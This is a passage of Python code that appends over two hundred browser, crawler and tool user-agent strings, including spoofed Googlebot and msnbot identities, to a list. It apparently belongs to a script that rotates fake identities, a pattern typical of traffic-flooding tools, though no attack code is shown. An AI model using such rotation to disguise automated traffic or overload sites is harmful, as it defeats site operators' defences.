  2925.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2926.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2927.         headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2928.         headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2929.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2930.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2931.         headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2932.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2933.         headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2934.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2935.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2936.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2937.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2938.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2939.         headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2940.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2941.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2942.         headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2943.         headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2944.         headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2945.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2946.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2947.         headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2948.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2949.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2950.         headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2951.         headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2952.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2953.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2954.         headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2955.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2956.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2957.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2958.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2959.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2960.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2961.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2962.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2963.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2964.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2965.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2966.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2967.         headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2968.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2969.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2970.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2971.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2972.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2973.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2974.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2975.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2976.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2977.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2978.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2979.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2980.         headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2981.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2982.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2983.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2984.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2985.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2986.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2987.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2988.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)')
  2989.         headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)')
  2990.         headers_useragents.append('Wget/1.8.2')
  2991.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0')
  2992.         headers_useragents.append('Mediapartners-Google/2.1')
  2993.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7')
  2994.         headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)')
  2995.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)')
  2996.         headers_useragents.append('lwp-trivial/1.41')
  2997.         headers_useragents.append('NetBSD-ftp/20031210')
  2998.         headers_useragents.append('Dillo/0.8.5-i18n-misc')
  2999.         headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)')
  3000.         headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3001.         headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3002.         headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)')
  3003.         headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3004.         headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)')
  3005.         headers_useragents.append('Wget/1.10.1')
  3006.         headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)')
  3007.         headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)')
  3008.         headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1')
  3009.         headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)')
  3010.         headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1')
  3011.         headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711')
  3012.         headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)')
  3013.         headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)')
  3014.         headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]')
  3015.         headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)')
  3016.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3017.         headers_useragents.append('Wget/1.8.1')
  3018.         headers_useragents.append('Wget/1.9.1')
  3019.         headers_useragents.append('tnftp/20050625')
  3020.         headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)')
  3021.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16')
  3022.         headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122')
  3023.         headers_useragents.append('Wget/1.7')
  3024.         headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14')
  3025.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53')
  3026.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)')
  3027.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3028.         headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e')
  3029.         headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)')
  3030.         headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i')
  3031.         headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5')
  3032.         headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)')
  3033.         headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)')
  3034.         headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)')
  3035.         headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c')
  3036.         headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14')
  3037.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3038.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')
  3039.         headers_useragents.append('libwww-perl/5.79')
  3040.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53')
  3041.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7')
  3042.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3043.         headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)')
  3044.         headers_useragents.append('Googlebot/2.1 (+http://www.google.com/bot.html)')
  3045.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3046.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7')
  3047.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51')
  3048.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)')
  3049.         headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c')
  3050.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3051.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  3052.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  3053.         headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)')
  3054.         headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)')
  3055.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)')
  3056.         headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)')
  3057.         headers_useragents.append('sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)')
  3058.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0')
  3059.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)')
  3060.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3061.         headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org')
  3062.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  3063.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)')
  3064.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508')
  3065.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)')
  3066.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624')
  3067.         headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)')
  3068.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2')
  3069.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)')
  3070.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1')
  3071.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3072.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)')
  3073.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3')
  3074.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50')
  3075.         headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)')
  3076.         headers_useragents.append('Java/1.4.1_04')
  3077.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3078.         headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)')
  3079.         headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)')
  3080.         headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  3081.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53')
  3082.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)')
  3083.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6')
  3084.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)')
  3085.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)')
  3086.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)')
  3087.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)')
  3088.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)')
  3089.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  3090.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)')
  3091.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)')
  3092.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)')
  3093.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)')
  3094.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)')
  3095.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)')
  3096.         headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)')
  3097.         headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)')
  3098.         headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)')
  3099.         headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)')
  3100.         headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)')
  3101.         headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)')
  3102.         headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322')
  3103.         headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)')
  3104.         headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)')
  3105.         headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)')
  3106.         headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)')
  3107.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  3108.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)')
  3109.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)')
  3110.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)')
  3111.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)')
  3112.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)')
  3113.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)')
  3114.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)')
  3115.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)')
  3116.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)')
  3117.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)')
  3118.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)')
  3119.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)')
  3120.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)')
  3121.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)')
  3122.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)')
  3123.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)')
  3124.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)')
  3125.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)')
  3126.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)')
  3127.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)')
  3128.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)')
  3129.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)')
  3130.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)')
  3131.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)')
  3132.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)')
  3133.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)')
  3134.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)')
  3135.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)')
  3136.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)')
  3137.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)')
  3138.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)')
  3139.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)')
  3140.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)')
  3141.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)')
  3142.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)')
  3143.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)')
  3144.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)')
  3145.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)')
  3146.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)')
  3147.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)')
  3148.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)')
  3149.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)')
  3150.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)')
  3151.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)')
  3152.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)')
  3153.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)')
  3154.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)')
  3155.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)')
  3156.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)')
  3157.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)')
  3158.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)')
